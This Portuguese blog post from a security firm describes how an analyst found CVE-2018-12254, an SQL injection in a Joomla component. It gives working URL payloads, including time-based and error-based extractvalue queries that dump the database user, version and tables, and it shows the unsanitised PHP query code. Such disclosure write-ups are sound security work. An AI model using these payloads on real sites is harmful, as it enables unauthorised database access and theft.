Choose Language:       
Home > blog > CVE-2018-12254 - SQL Injection Joomla Component

CVE-2018-12254 - SQL Injection Joomla Component

  Articles     cve, sql injection, security, joomla
Uma CVE encontrado em um componente do Joomla por nosso IT Security Analyst Guilherme Assmann durante o trabalho em um dos Labs da Formação de Pentest Profissional.

A vulnerabilidade foi encontrada de uma forma um pouco inusitada. Parte do nosso trabalho na Desec é dedicado a área  de treinamentos afim de trazer a realidade do dia a dia da área de serviços para dentro dos nossos treinamentos.

Há alguns dias o Daybson (responsável pela infraestrutura de laborátorios da Desec Security) estava subindo um laboratório de teste novo, para o curso de Pentest Profissional da Desec Security, quando me chamou para testa-lo, eu em particular não sabia que vulnerabilidade havia no laboratório, apenas loguei e fui testar.

Notei que eu tinha o nome do usuário na seguinte url(index.php/home/requested_user/Sent%20interest/corp) e me pareceu um pouco estranho, talvez fosse gerado um novo arquivo durante o registro ou algo assim, mas na verdade notei que aquilo não era um arquivo, era realmente um parâmetro da url.

 

O teste inicial logicamente foi adicionar uma aspas simples e ver o que iria me retornar:


url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'or%20a%23

 

Então, seguindo o erro, temos um Sql Injection aqui!

 

Fazendo mais um teste para confirmar, conseguimos ter a certeza disso:


url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'or%20sleep(5)%23

 

Até este ponto estava tudo bem, porém notei uma limitação ao tentar dumpar a db no modo clássico, até mesmo usando blind. Me pareceu estranho não conseguir resposta para algumas querys, porém, entendi que eu estava limitado, fazendo algumas pesquisas vi que a maneira seria fazer o dump usando error based com XPATH.


url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(1,user())%20%23


url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(1,version())%20%23


url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(0x0a,concat(0x0a,(select%20database())))%20%23


url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(0x0a,concat(0x0a,(select%20table_name%20from%20information_schema.tables)))%20%23

 

Bom, a partir deste ponto, a melhor forma seria criar um script para fazer o dump!

 

Depois disso, eu ainda assim fiquei curioso para saber como que o componente estava capturando esta parte da url, então baixei o código dele e vasculhei até encontrar o seguinte trecho:


router.php 

238 - if(!empty($segments[2]) && $segments[0]=='requested_user') {
239 - 	$c_id	= EkrishtaUsrID($segments[2]);
240 - 	if($segments[1] == "Sent interest")
241 -	  $vars['rid'] = $c_id;
242 -	else
243 -	  $vars['cid'] = $c_id;
244 - }

Fazendo uma analise rápida, sabemos que o $c_id esta capturando o segmento que está o nosso nome de usuário e adicionando ele a um array ($vars), podemos basicamente adivinhar que a função EkrishtaUsrID() está buscando o nosso id ou o nome do usuário no banco de dados, mas vamos ver o que realmente ela está fazendo.

 

Fazendo uma procura pela função EkrishtaUsrID(), encontrei ela presente no mesmo arquivo e é possível ver que que existe uma falta de sanitização nas linhas 295 e 305.

291 - function EkrishtaUsrName($uid)
292 - {
293 -
294 -	 $db = JFactory::getDBO();
295 -	 $sql = "SELECT `username` FROM #__users WHERE `id`='". $uid."'";
296 -	 $db->setQuery($sql);
297 - 	 return $db->loadResult();
298 -
299 - }
300 -
301 - function EkrishtaUsrID($uid_name)
302 - {
303 -
304 - 	 $db = JFactory::getDBO();
305 -	 $sql = "SELECT `id` FROM #__users WHERE `username`= '" .$uid_name."'";
306 -	 $db->setQuery($sql);
307 -	 return $db->loadResult();
308 -
309 - }

Para finalizar a história, a vulnerabilidade que eu encontrei não estava dentro daquilo que estava programado para o laboratório e também não estava assinada ou relacionada a qualquer outra descoberta, então peguei uma cve!

Link para CVE:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12254

Link para o Exploit:

https://www.exploit-db.com/exploits/44893/

Guilherme Assmann é IT Security Analyst at Desec Security

CEH, OSCP, DCPT
Our Channels Comunication
 
 
+55 11 3075 2780   |    contato@desecsecurity.com
Work Hour: 09:00am to 06:00pm
Our Location
Paulista Avenue, 1765 - 7th Floor - Bela Vista - São Paulo
Bug Report
if you found some bug in our plataforms, contact us via Bug Report.
Bug Report